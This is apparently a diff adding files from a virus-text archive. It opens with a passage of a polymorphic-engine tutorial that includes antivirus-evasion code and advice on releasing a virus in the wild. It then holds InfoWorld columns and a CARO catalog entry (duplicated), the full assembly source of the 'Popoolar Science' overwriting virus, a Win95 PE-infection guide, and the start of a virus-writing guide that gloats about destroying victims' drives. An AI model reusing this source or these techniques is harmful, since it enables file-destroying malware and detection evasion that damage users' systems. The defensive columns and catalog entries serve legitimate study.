on. Other things you should base upon slow mutation techniques include
things such as what registers to use, the looping method, the encrypt/
decrypt method, and the length of the decryptor. This way, they have to
reboot the computer each time, and set a new date, to see all possible
combinations. Consisdering there are thousands of bait file to be made,
this also means that there are thousands of resets to be done!
Another thing you could base slow mutation descisions on, is a
generation counter. This is very effective, because if the AV runs an
infected file, and then because the virus is TSR in memory, runs the
bait creator, to create some infected samples, all the infected samples,
will be of the same generation. Even if the AV people think of changing
the date, the fact that the virus changes some aspects of itself on each
generation, will not be so obvious. This is especially true if the virus
makes the changes on, say every fourth generation, instead of each and
every generation. For example:
------------------------------------------------------------------------
inc cs:word ptr generation ;This should be run once,
;at installation.
...
;This sub-procedure will choose what method to use to decrement the
;count register. It will choose one of the 8 possible procedures to
;call from the "decrement_tbl" table. Instead of choosing a method at
;random, it divdes the generation by 8, and then takes the modulos of
;(GENERATION / 8) / 8, to choose which procedure to use. In short, the
;decrement method will only change every 8th generation. The AV do not
;spend enough time to see all possible methods, as they would have to
;look at 64 different generations. They will most likely look at only
;one or two.
choose_decrement_method:
mov ax,0
generation equ $-2 ;Generation counter starts at 0
shr ax,3 ;Divide Generation count by 8
and ax,7 ;get number between 0 and 7
add ax,ax
xchg si,ax
add si,offset decrement_tbl
lodsw
call ax
ret
...
decrement_tbl: ;this is supposed to be a table of
dw offset code_dec_reg ;all the possible procedures you can
dw offset code_sub_reg_1 ;use to decrement the count register.
dw offset code_add_reg_negative_1
dw offset code_clc_sbb_reg_1
dw offset code_stc_sbb_reg_0
dw offset code_clc_adc_reg_negative_1
dw offset code_stc_adc_reg_negative_2
dw offset code_inc_dec_dec_reg
------------------------------------------------------------------------
Of course, you do not have to base something as trivial as the
method of decrement on the generation counter, and could instead base
something more important like the actual method of decryption on it.
Also, if you wanted to be really sly (and I know you do), you
could use the above method, but then release the virus in the wild, with
its generation counter set to something like 16. This way, no one will
see the first 2 methods, until the generation counter has carried over.
About a week after releasing it, you could release it somewhere else, so
that the AV people will get the first specimen, and their algorithm will
be missing the first two methods, while the second infection you release
can have the counter set to 0, so that the decryptors using the first
two methods will be in the wild, and will spread, before the AV realise
their mistake.
Another thing you could base your slow poly on, is the file you
are infecting. For example, let us imagine you based the above example
on the SIZE of the file to be infected, divided by 1000, rather then the
GENERATION divided by 8. Since the bait files will be of the same or
similar size, little to no change will be seen. If a different file of a
different size was infected however, you would have a totally different
decryptor!
Polymorphism: Make No Two Conditions Dependant
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
One of the biggest mistakes you could make when coding an engine
is making two conditions dependant on the same thing. For example let us
imagine that you made both the index register used, and the decryption
method used dependant on the month. This could possibly mean, that when
XOR encryption is used, you can guarantee BX is the index register, and
when ADD is used SI will be the index register. This way, all they have
to do is check for a XOR [SI],?? instruction or a ADD [BX],??. If you
made this mistake, and had four index registers, and four decryption
methods, the scanner need only to check for four possible instructions.
However, if these were decided on totally independant criteria, they
would have to check for 16 different instructions, increasing the chance
of false positives. For another example, let us look at the following:
------------------------------------------------------------------------
code_jmp: mov ax,3f ;this code will generate a random
call get_rand ;conditional jump, to a random offset
mov ah,al ;between 0 adn 3f bytes from the
or al,70 ;jump. Note that the conditional
stosw ;jumps are 70h -> 7fh.
------------------------------------------------------------------------
The above example will always generate, a working, conditional
jump. It does however have a fairly obvious flaw. If the jump opcode is
70h then the offset of the jump will be 0, 10h, 20h, or 30h. If the jump
opcode is 70h then the offset of the jump will be 1, 11h, 21h, or 31h.
This will remain true for all of 70h to 7fh. This is very dangerous, as
a scanner could something like this in its algorithm:
------------------------------------------------------------------------
;This code fragment, is assumed to be part of a scanner that is tracing
;through the code it scans. It is assumed that DS:SI points to the current
;instruction being processed.
lodsw
cmp al,70
jb not_cond_jmp
cmp al,7f ;checks if we are dealing with a
ja not_cond_jmp ;conditional jump.
and ax,0f0f ;If the jump was generated with the
cmp al,ah ;above example, AL will always = AH.
jne file_not_infected
not_cond_jmp: <DO THE NEXT CHECK>
------------------------------------------------------------------------
As you can see, if many things are dependant on each other, an
algorithm could be used that uses techniques like the above, and if all
rules are followed, safely assume the file was infected. To avoid the
above check, the conditional jump coder should be something like this:
------------------------------------------------------------------------
mov ax,3f
call get_rand
mov bl,al
mov al,0f
call get_rand
or al,70
mov ah,bl
stosw
------------------------------------------------------------------------
As you can see, in the above example, the offset of the jump is
totally independant of the jumps opcode. This will make the detection
algorithm alot harder to devise.

249
textfiles.com/virus/polymrph.txt Normal file
View File

@@ -0,0 +1,249 @@
Polymorphic viruses escape detection but get our attention
Last week, we faced the implications of the next-generation
ultrastealth viruses that are now reproducing themselves among us.
Because a few of these viruses have already been found to be
employing this new scanner-beating self-modifying technology and
because their is nothing particularly difficult about writing such
a polymorphic virus, I feel there is more good than harm in a
public discussion of this nasty new breed.
(I know that many readers are wondering what happened to my
promised solution to the spread of these viruses; it will come next
week after I illustrate the danger of these new germs.)
viruses can be detested by recognizing either their dynamic
actions or their static presence. Dynamic-action recognition
provides the potential benefit of stopping unknown viruses.
Nevertheless, today's smarter viruses can circumvent such
interception easily. If the virus wishes to have a higher level of
software access to the system, several techniques are known for
getting underneath DOS and BIOS interception, so resident blockers
are all but useless.
Static-presence recognition scans the entire system for the
"fingerprints" of known viruses. Today's deliberately elusive
polymorphic viruses can evade this detection entirely.
The simple idea behind the polymorphic virus is that the bulk of
the virus can be scrambled by a random number. Every IBM-compatible
PC has a counter/timer chip that can be used as the source for a
completely nondeterministic 16-bit random number. When the virus
clones itself into a new environment, it can use the instantaneous
value of the counter/timer as a scrambling starting point. By
algorithmically altering every byte of itself based upon this
initial number, the newly propagated virus will be immune to
fingerprint detection.
There's one flaw in this approach: The small kernel of code used
to unscramble the body of the virus must be left in an unscrambled
state so the computer can execute it and unscramble the balance of
the virus. This means the unscrambling portion could still be
fingerprinted and identified.
This problem could be easily solved: By deliberately interlacing
irrelevant "do nothing" instructions among those that perform the
unscrambling work, every stored instance of the unscrambling kernel
could be completely different from all the others. As the virus
copies itself to a new destination, it randomly draws from a
repertory of superfluous instructions, peppering them liberally
throughout the new copy of itself.
As you can see, these techniques can be teamed up with activity
interception avoidance to create a new breed of viruses that would
be virtually impossible to detect.
It is quite annoying that we must expend our resources in the
prevention of this software terrorism. But there may be some value
in experiencing this terrorism now. Most viruses have been the work
of amateurs and are far from devastating.
Being told on Friday the 13th that your computer is "stoned" is
annoying as hell, and having to type "Happy Birthday to Joshi"
early in January makes you wonder who's in charge. But it sure
beats being informed that your company's customer list and the
archived source code for your next unreleased product have just
been transmitted by modem to your competition. When your network's
database and modem servers receive remote procedure calls (RPCs)
from remote workstations, are you sure they should answer that
call?
We need to begin tightening up our systems and taking security
very seriously. Personal computing is not just a diversion from the
tedium of sharpening pencils; it is a serious endeavor that is
extremely prone to organized and deliberate attack. If a bored,
pimply faced highschool kid is capable of penetrating your
corporation's security with his annoying but benign virus, you had
better hope he never wants to hurt you.
Steve Gibson is the developer and publisher of SpinRite and
president of Gibson Research Corp., based in Irvine California.
From April 20,1992 issue of InfoWorld\
At last, how to protect yourself from polymorphic viruses
My past two columns concerning the threat presented by polymorphic
viruses triggered an informative conversation with the industry's
chief virus researcher, John McAfee. During that conversation I
learned that things are even worse than I'd supposed.
It turns out that the " Dark Avenger" bulletin board system, which
disseminates virus code, has recently published the complete source
code for the Dark Avenger Mutation engine. The mutation engine is
nothing less than a first-class code kernel that can be tacked on
to any existing or future virus to turn it into a nearly impossible
to detect self-encrypting polymorphic virus.
My examination of a sample virus encrypted by the Mutation Engine
provided by McAfee revealed alarming capabilities. Not only do Dark
Avenger Mutation Engine viruses employ all of the capabilities I
outlined in last week's theoretical polymorphic virus column, but
they also use a sophisticated reversible encryption algorithm
generator.
The Mutation Engine uses a metalanguage-driven algorithm generator
that allows it to create an infinite variety of completely original
encryption algorithms. The resulting unique algorithms are then
salted with superflous instructions, resulting in decryption
algorithms varying from 5 to 200 bytes long.
Because McAfee has already received many otherwise known viruses
that are now encapsulated with the Mutation Engine's polymorphic
encryption, it's clear that viruses of this new breed are now
traveling among us.
It is clear that the game is forever changed; the sophistication
of the Mutating Engine is amazing and staggering. Simple pattern-
matching virus scanners will still reliably detect the several
thousand well-known viruses; however these scanners are completely
incapable of detecting any of the growing number of viruses now
being cloaked by the Dark Avenger Mutation Engine.
So what can we ultimately do to twart current and future software
viruses? After brainstorming through the problem with some of our
industry's brightest developers and systems architects, I've
reached several conclusions:
First, scanning for known viruses within executable program code
is fundamentally a dead end. It's the only solution we have for the
moment, but the detectors can only find the viruses they are aware
of, and new developments such as the Mutation Engine render even
these measures obsolete.
Second, detecting the reproductive proclivities of viruses on the
prowl is prone to frequent false alarms and ultimately complete
avoidance. With time the viruses will simply circumvent the
detectors, at which time the detectors will only misfire for self-
modifying benign programs.
Third, the Achilles' heel of our current DOS-based PC is its
entirely unprotected nature. As long as executable programs( such
as benign and helpful system utilities) are able to freely and
directly access and alter the operating system and its file system,
our machines will be vulnerable to deliberate viral attack.
So here's my recommendation.
Only a next-generation protected mode operating system can enforce
the levels of security required to provide complete viral immunity.
By marking files and code overlays as "read and execute only" and
by prohibiting the sorts of direct file system tampering performed
by our current crop of system utilities, such operating systems
will be able to provide their client programs with complete viral
immunity.
The final Achilles' heel of a protected-mode operating system is
the system boot process, before and during which it is still
potentially vulnerable. By changing the system ROM-BIOS' boot
priorty to favor hard disc booting over floppy, thios last viral
path can be closed and blocked as well.
note; Steve Gibson is the developer and publisher of SpinRite and
president of Gibson Research Corp., based in Irvine, Calif. Send
comments to InfoWorld via MCImail (259-2147) or fax them to (415)
358-1269
Subject: Polymorphic Virus
Here is a new entry from the Computer Virus Catalog, produced and
distributed by the Computer Anti-Virus Researcher's Organization (CARO),
at the University of Hamburg.
Note the description of the Polymorphic Method, below, and that this
virus can presently be detected in a file only by the file change it
produces.
==== Computer Virus Catalog 1.2: Dedicated Virus (31-January 1992) ===
Entry...............: Dedicated Virus
Alias(es)...........: ---
Virus Strain........: ---
Polymorphism engine.: Mutating Engine (ME) 0.9
Virus detected when.: UK
where.: January 1992
Classification......: Polymorphic encrypted program (COM) infector,
non-resident
Length of Virus.....: 3,5 kByte (including Mutating Engine)
--------------------- Preconditions ----------------------------------
Operating System(s).: MS-DOS
Version/Release.....: 2.xx upward
Computer model(s)...: IBM - PCs, XT, AT, upward and compatibles
--------------------- Attributes -------------------------------------
Easy Identification.: COM file growth (no other direct detection means
are known as virus encrypts itself, and due
to the installed mutation engine, all occu-
rences of this virus differ widely)
Type of infection...: COM file infector: all COM files in current
directory on current drive (disk,diskette)
are infected upon executing an infected file.
Infection Trigger...: Execution of an infected COM file.
Media affected......: Hard disk, any floppy disk
Interrupts hooked...: ---
Crypto method.....: The virus encrypts itself upon infecting a COM
file using its own encryption routine; upon
execution, the virus decrypts itself using
its own small algorithm.
Polymorphic method..: After decryption, the virus' envelope consisting
of Mutating Engine 0.9 will widely vary the
virus' coding before newly infecting another
COM file. Due to this method, common pieces
of code of more than three bytes (=signatures)
of any two instances of this virus are highly
improbable.
Remark: Mutating Engine 0.9 very probably was
developed by the Bulgarian virus writer
"Dark Avenger"; such a program was announced
early 1991 as permutating more than 4 billion
times, and it appeared in October 1991 or
before.
The class of permutating viruses is named
"polymorphic" to indicate the changing
structure which may not be identified with
contemporary means. To indicate the relation
to such common engine, the term "Polymorhic
engine (method)" has been introduced.
ME 0.9 was distributed via several Virus
Exchange Bulletin Boards, so it is possible
that other ME 0.9 related viruses appear.
According to (non-validated) information, an-
other ME 0.9 based virus (Pogue?) has been
detected in North America: COM file infector,
memory resident, length about 3,7 kBytes.
Damage..............: Virus overwrites at random times random sectors
(one at a time) with garbage (INT 26 used).
Damage Trigger......: Random time
Similarities........: ---
Particularities.....: The virus contains a text greeting a US based
female hacker; this text is visible after
decryption.
--------------------- Agents -----------------------------------------
Countermeasures.....: Contemporarily, no automatic method for reliable
identification of polymorphic viruses known.
- ditto - successful: ---
Standard means......: ---
--------------------- Acknowledgement --------------------------------
Location............: Virus Test Center, University Hamburg, Germany
Classification by...: Vesselin Bontchev, Klaus Brunnstein
Documentation by....: Dr. Alan Solomon
Date................: 31-January-1992
===================== End of Dedicated Virus =========================
======================================================================
== Critical and constructive comments as well as additions are ==
== appreciated. Descriptions of new viruses are appreaciated. ==
======================================================================
== The Computer Virus Catalog may be copied free of charges provided =
== that the source is properly mentioned at any time and location ==
== of reference. ==
======================================================================
== Editor: Virus Test Center, Faculty for Informatics ==
== University of Hamburg ==
== Vogt-Koelln-Str.30, D2000 Hamburg 54, FR Germany ==
== Prof. Dr. Klaus Brunnstein, Vesselin Bontchev, ==
== Simone Fischer-Huebner, Wolf-Dieter Jahn ==
== Tel: (+40) 54715-406 (KB), -225 (Bo/Ja), -405(Secr.) ==
== Fax: (+40) 54 715 - 226 ==
== Email (EAN/BITNET): brunnstein@rz.informatik.uni-hamburg.dbp.de ==
== bontchev@rz.informatik.uni-hamburg.de> ==
== FTP site: ftp.informatik.uni-hamburg.de ==
== Adress: 134.100.4.42 ==
== login anonymous; password: your-email-adress; ==
== directory: pub/virus/texts/catalog ==
======================================================================


107
textfiles.com/virus/polyvir.txt Normal file
View File

@@ -0,0 +1,107 @@
Subject: Polymorphic Virus
Here is a new entry from the Computer Virus Catalog, produced and
distributed by the Computer Anti-Virus Researcher's Organization (CARO),
at the University of Hamburg.
Note the description of the Polymorphic Method, below, and that this
virus can presently be detected in a file only by the file change it
produces.
==== Computer Virus Catalog 1.2: Dedicated Virus (31-January 1992) ===
Entry...............: Dedicated Virus
Alias(es)...........: ---
Virus Strain........: ---
Polymorphism engine.: Mutating Engine (ME) 0.9
Virus detected when.: UK
where.: January 1992
Classification......: Polymorphic encrypted program (COM) infector,
non-resident
Length of Virus.....: 3,5 kByte (including Mutating Engine)
--------------------- Preconditions ----------------------------------
Operating System(s).: MS-DOS
Version/Release.....: 2.xx upward
Computer model(s)...: IBM - PCs, XT, AT, upward and compatibles
--------------------- Attributes -------------------------------------
Easy Identification.: COM file growth (no other direct detection means
are known as virus encrypts itself, and due
to the installed mutation engine, all occu-
rences of this virus differ widely)
Type of infection...: COM file infector: all COM files in current
directory on current drive (disk,diskette)
are infected upon executing an infected file.
Infection Trigger...: Execution of an infected COM file.
Media affected......: Hard disk, any floppy disk
Interrupts hooked...: ---
Crypto method.....: The virus encrypts itself upon infecting a COM
file using its own encryption routine; upon
execution, the virus decrypts itself using
its own small algorithm.
Polymorphic method..: After decryption, the virus' envelope consisting
of Mutating Engine 0.9 will widely vary the
virus' coding before newly infecting another
COM file. Due to this method, common pieces
of code of more than three bytes (=signatures)
of any two instances of this virus are highly
improbable.
Remark: Mutating Engine 0.9 very probably was
developed by the Bulgarian virus writer
"Dark Avenger"; such a program was announced
early 1991 as permutating more than 4 billion
times, and it appeared in October 1991 or
before.
The class of permutating viruses is named
"polymorphic" to indicate the changing
structure which may not be identified with
contemporary means. To indicate the relation
to such common engine, the term "Polymorhic
engine (method)" has been introduced.
ME 0.9 was distributed via several Virus
Exchange Bulletin Boards, so it is possible
that other ME 0.9 related viruses appear.
According to (non-validated) information, an-
other ME 0.9 based virus (Pogue?) has been
detected in North America: COM file infector,
memory resident, length about 3,7 kBytes.
Damage..............: Virus overwrites at random times random sectors
(one at a time) with garbage (INT 26 used).
Damage Trigger......: Random time
Similarities........: ---
Particularities.....: The virus contains a text greeting a US based
female hacker; this text is visible after
decryption.
--------------------- Agents -----------------------------------------
Countermeasures.....: Contemporarily, no automatic method for reliable
identification of polymorphic viruses known.
- ditto - successful: ---
Standard means......: ---
--------------------- Acknowledgement --------------------------------
Location............: Virus Test Center, University Hamburg, Germany
Classification by...: Vesselin Bontchev, Klaus Brunnstein
Documentation by....: Dr. Alan Solomon
Date................: 31-January-1992
===================== End of Dedicated Virus =========================
======================================================================
== Critical and constructive comments as well as additions are ==
== appreciated. Descriptions of new viruses are appreaciated. ==
======================================================================
== The Computer Virus Catalog may be copied free of charges provided =
== that the source is properly mentioned at any time and location ==
== of reference. ==
======================================================================
== Editor: Virus Test Center, Faculty for Informatics ==
== University of Hamburg ==
== Vogt-Koelln-Str.30, D2000 Hamburg 54, FR Germany ==
== Prof. Dr. Klaus Brunnstein, Vesselin Bontchev, ==
== Simone Fischer-Huebner, Wolf-Dieter Jahn ==
== Tel: (+40) 54715-406 (KB), -225 (Bo/Ja), -405(Secr.) ==
== Fax: (+40) 54 715 - 226 ==
== Email (EAN/BITNET): brunnstein@rz.informatik.uni-hamburg.dbp.de ==
== bontchev@rz.informatik.uni-hamburg.de> ==
== FTP site: ftp.informatik.uni-hamburg.de ==
== Adress: 134.100.4.42 ==
== login anonymous; password: your-email-adress; ==
== directory: pub/virus/texts/catalog ==
======================================================================

122
textfiles.com/virus/popscia86.vir Normal file
View File

@@ -0,0 +1,122 @@
;Popoolar Science virus - a very simple overwriting infector
;published in Crypt Newsletter 11, Dec. 1992. Edited by Urnst Kouch
;
;Popoolar Science is an indiscriminate, primitive over-writing
;virus which will attack all files in the current directory.
;Data overwritten by the virus is unrecoverable. Programs overwritten
;by Popoolar Science are infectious if their size does not exceed the
;64k boundary for .COM programs. .EXE's larger than this will not
;spread the virus; DOS will issue an "out of memory" message when the
;ruined program is loaded. Ruined programs of any type can only be erased
;from the disk to curb infection.
;
;If Popoolar Science is called into the root directory, the system files
;will be destroyed, resulting in a machine hang on start-up.
;
;Popoolar Science does not look for a ident-marker in infected files - it
;merely overwrites all files in the current directory repeatedly. Indeed,
;there seems no need for a self-recognition routine in such a simple
;program of limited aims.
;
;
;Popoolar Science will assemble directly to a .COMfile using Isaacson's
;A86 assembler. Use of a MASM/TASM compatible assembler will require
;addition of a set of declarative statements.
;
;Virus signature suitable for loading into VIRSCAN.DAT files of TBScan,
;McAfee's SCAN and/or F-PROT 2.0x:
;[POP]
;DE B8 01 43 33 C9 8D 54 1E CD 21 B8 02 3D CD 21
nosewheel:
jmp virubegin ; get going
virubegin: push cs
pop ds
mov dx,offset msg
mov ah,09h ; Display subscription
int 21h ; endorsement for Popular
; Science magazine.
mov dx,offset file_mask ; load filemask for "*.*"
call find_n_infect ; infect a file, no need for
; an error routine - if no
; files found, virus will
; rewrite itself.
mov ax,04C00h ; exit to DOS
int 021h
find_n_infect:
push bp
mov ah,02Fh ; get DTA
int 021h
push bx ; Save old DTA
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save filemask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; search for first host file
mov cx,00100111b ; CX holds all attributes
pop dx ; Restore file mask
findfilez: int 021h
jc reset ; reset DTA and get ready to exit
call write2file ; Infect file!
mov ah,04Fh
jmp short findfilez ; find another host file
reset: mov sp,bp
mov ah,01Ah
pop dx ; Retrieve old DTA address
int 021h
pop bp
ret
write2file: ; subroutine, writes virus over beginning of all files
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx
mov ax,04301h ; set file attributes
xor cx,cx
lea dx,[si + 01Eh] ; DX points to target handle
int 021h
mov ax,03D02h ; open file, read/write
int 021h ; do it!
xchg bx,ax ; put handle in BX
mov ah,040h ; write to file, start at beginning
mov cx,tailhook - nosewheel ; CX = virus length
mov dx,offset nosewheel ; DX points to start of virus
int 021h ; do it now!
mov ax,05701h
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h ; restore them
mov ah,3Eh ; close file
int 021h
exit: ; exit, dummeh!
ret
file_mask db "*.*",0 ; Filemask for all files
msg db 'PopooLar ScIencE RoolZ!$' ;Popular Science mag message
tailhook:

220
textfiles.com/virus/portexec.txt Normal file
View File

@@ -0,0 +1,220 @@
Infection of Portable Executables
by
Qark and Quantum [VLAD]
The portable executable format is used by Win32, Windows NT and Win95,
which makes it very popular and likely to become the dominant form of
executable sometime in the future. The NE header used by Windows 3.11
is completely different to the PE header and the two should not be
confused.
None of the techniques in this document have been tested on Windows NT
because no virus writer (we know) has access to it.
At the bottom of this document is a copy of the PE format, which is not
easy to follow but is the only reference publicly available. Turbo
Debugger 32 (TD32) is the debugger used during the research of this
text, but SoftIce'95 also does the job.
Calling Windows 95 API
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
A legitimate application calls win95 api by the use of an import
table. The name of every API that the application wants to call is
put in the import table. When the application is loaded, the data
needed to call the API is filled into the import table. As was
explained in the win95 introduction (go read it), we cannot modify
this table due to Microsoft's foresight.
The simple solution to this problem is to call the kernel directly.
We must completely bypass the Win95 calling stucture and go straight
for the dll entrypoint.
To get the handle of a dll/exe (called a module) we can use the API
call GetModuleHandle and there are other functions to get the
entrypoint of a module - including a function to get the address of an
API, GetProcAddress.
But this raises a chicken and egg question. How do I call an API so I
can call API's, if I can't call API's ? The solution is to call api
that we know are in memory - API that are in KERNEL32.DLL - by calling
the address that they are always located at.
Some Code
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
A call to an API in a legitimate application looks like:
call APIFUNCTIONNAME
eg. call CreateFileA
This call gets assembled to:
db 9ah ; call
dd ???? ; offset into jump table
The code at the jump table looks like:
jmp far [offset into import table]
The offset into the import table is filled with the address of the
function dispatcher for that API function. This address is obtainable
with the GetProcAddress API. The function dispatcher looks like:
push function value
call Module Entrypoint
There are API functions to get the entrypoint for any named module but
there is no system available to get the value of the function. If we
are calling KERNEL32.DLL functions (of which are all the functions
needed to infect executables) then we need look no further than this
call. We simply push the function value and call the module
entrypoint.
Snags
<20><><EFBFBD><EFBFBD><EFBFBD>
In the final stages of Bizatch we beta tested it on many systems.
After a long run of testing we found that the KERNEL32 module was
static in memory - exactly as we had predicted - but it was at a
different location from the "June Test Release" to the "Full August
Release" so we needed to test for this. What's more, one function
(the function used to get the current date/time) had a different
function number on the June release than it did on the August release.
To compensate I added code that checks to see if the kernel is at one
of the 2 possible locations, if the kernel isn't found then the virus
doesn't execute and control is returned to the host.
Addresses and Function Numbers
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
For the June Test Release the kernel is found at 0BFF93B95h
and for the August Release the kernel is found at 0BFF93C1Dh
Function June August
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
GetCurrentDir BFF77744 BFF77744
SetCurrentDir BFF7771D BFF7771D
GetTime BFF9D0B6 BFF9D14E
MessageBox BFF638D9 BFF638D9
FindFile BFF77893 BFF77893
FindNext BFF778CB BFF778CB
CreateFile BFF77817 BFF77817
SetFilePointer BFF76FA0 BFF76FA0
ReadFile BFF75806 BFF75806
WriteFile BFF7580D BFF7580D
CloseFile BFF7BC72 BFF7BC72
Using a debugger like Turbo Debugger 32bit found in Tasm 4.0, other
function values can be found.
Calling Conventions
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Windows 95 was written in C++ and Assembler, mainly C++. And although
C calling conventions are just as easy to implement, Microsoft didn't
use them. All API under Win95 are called using the Pascal Calling
Convention. For example, an API as listed in Visual C++ help files:
FARPROC GetProcAddress(
HMODULE hModule, // handle to DLL module
LPCSTR lpszProc // name of function
);
At first it would be thought that all you would need to do is push the
handle followed by a pointer to the name of the function and call the
API - but no. Due to Pascal Calling Convention, the parameters need
to be pushed in reverse order:
push offset lpszProc
push dword ptr [hModule]
call GetProcAddress
Using a debugger like Turbo Debugger 32bit we can trace the call (one
step) and follow it to the kernel call as stated above. This will
allow us to get the function number and we can do away with the need
for an entry in the import table.
Infection of the PE Format
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Finding the beginning of the actual PE header is the same as for NE
files, by checking the DOS relocations for 40h or more, and seeking to
the dword pointed to by 3ch. If the header begins with a 'NE' it is a
Windows 3.11 executable and a 'PE' indicates a Win32/WinNT/Win95 exe.
Within the PE header is 'the object table', which is the most important
feature of the format with regards to virus programming. To append code
to the host and redirect initial execution to the virus it is necessary to
add another entry to the 'object table'. Luckily, Microsoft is obsessed
with rounding everything off to a 32bit boundary, so there will be room
for an extra entry in the empty space most of the time, which means it
isn't necessary to shift any of the tables around.
A basic overview of the PE infection:
Locate the offset into the file of the PE header
Read a sufficient amount of the PE header to calculate the full size
Read in the whole PE header and object table
Add a new object to the object table
Point the "Entry Point RVA" to the new object
Append virus to the executable at the calculated physical offset
Write the PE header back to the file
To find the object table:
The 'Header Size' variable (not to be confused with the 'NT headersize')
is the size of the DOS header, PE header and object table, combined.
To read in the object table, read in from the start of the file for
headersize bytes.
The object table immediately follows the NT Header. The 'NTheadersize'
value, indicates how many bytes follow the 'flags' field. So to work
out the object table offset, get the NTheaderSize and add the offset
of the flags field (24).
Adding an object:
Get the 'number of objects' and multiply it by 5*8 (the size of an object
table entry). This will produce the offset of the space within which
the new virus object table entry can be placed.
The data for the virus' object table entry needs to be calculated using
information in the previous (host) entry.
RVA = ((prev RVA + prev Virtual Size)/OBJ Alignment+1)
*OBJ Alignment
Virtual Size = ((size of virus+buffer any space)/OBJ Alignment+1)
*OBJ Alignment
Physical Size = (size of virus/File Alignment+1)*File Alignment
Physical Offset = prev Physical Offset + prev Physical Size
Object Flags = db 40h,0,0,c0h
Entrypoint RVA = RVA
Increase the 'number of objects' field by one.
Write the virus code to the 'physical offset' that was calculated, for
'physical size' bytes.
Notes
<20><><EFBFBD><EFBFBD><EFBFBD>
Microsoft no longer includes the PE header information in their developers
CDROMs. It is thought that this might be to make the creation of
viruses for Win95 less likely. The information contained in the next
article was obtained from a Beta of the Win32 SDK CDROM.
Tools
<20><><EFBFBD><EFBFBD><EFBFBD>
There are many good books available that supply low level Windows 95
information. "Unauthorized Windows 95", although not a particularly
useful book (it speaks more of DOS/Windows interaction), supplies
utilities on disk and on their WWW site that are far superior to the
ones that we wrote to research Win95 infection.

449
textfiles.com/virus/ps-vir1.txt Normal file
View File

@@ -0,0 +1,449 @@
//==// // // /|| // //==== //==// //| //
// // // // //|| // // // // //|| //
//==// //==// //=|| // // // // // || //
// // // // || // // // // // ||//
// // // // || //==== //==== //==// // ||/
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
DISCLAIMER: The author hereby disclaims himself
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
DEDICATION: This was written to make the lives
of scum such as Patty Hoffman, John McAffee,
and Ross Greenberg a living hell.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
OTHER STUFF: Thanks go to The Shade of Sorrow,
Demogorgon, and Orion Rouge on their comments
(which I occasionally listened to!). Thanks
also to Hellraiser, who gave me an example of
some virus source code (his own, of course).
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Dark Angel's Phunky Virus Writing Guide
---- ------- ------ ----- ------- -----
Virii are wondrous creations written for the sole purpose of spreading and
destroying the systems of unsuspecting fools. This eliminates the systems
of simpletons who can't tell that there is a problem when a 100 byte file
suddenly blossoms into a 1,000 byte file. Duh. These low-lifes do not
deserve to exist, so it is our sacred duty to wipe their hard drives off
the face of the Earth. It is a simple matter of speeding along survival of
the fittest.
Why did I create this guide? After writing several virii, I have noticed
that virus writers generally learn how to write virii either on their own
or by examining the disassembled code of other virii. There is an
incredible lack of information on the subject. Even books published by
morons such as Burger are, at best, sketchy on how to create a virus. This
guide will show you what it takes to write a virus and also will give you a
plethora of source code to include in your own virii.
Virus writing is not as hard as you might first imagine. To write an
effective virus, however, you *must* know assembly language. Short,
compact code are hallmarks of assembly language and these are desirable
characteristics of virii. However, it is *not* necessary to write in pure
assembly. C may also be used, as it allows almost total control of the
system while generating relatively compact code (if you stay away from the
library functions). However, you still must access the interrupts, so
assembly knowledge is still required. However, it is still best to stick
with pure assembly, since most operations are more easily coded in
assembly. If you do not know assembly, I would recommend picking up a copy
of The Microsoft Macro Assembler Bible (Nabajyoti Barkakati, ISBN #: 0-672-
22659-6). It is an easy-to-follow book covering assembly in great detail.
Also get yourself a copy of Undocumented DOS (Schulman, et al, ISBN #0-201-
57064-5), as it is very helpful.
The question of which compiler to use arises often. I suggest using
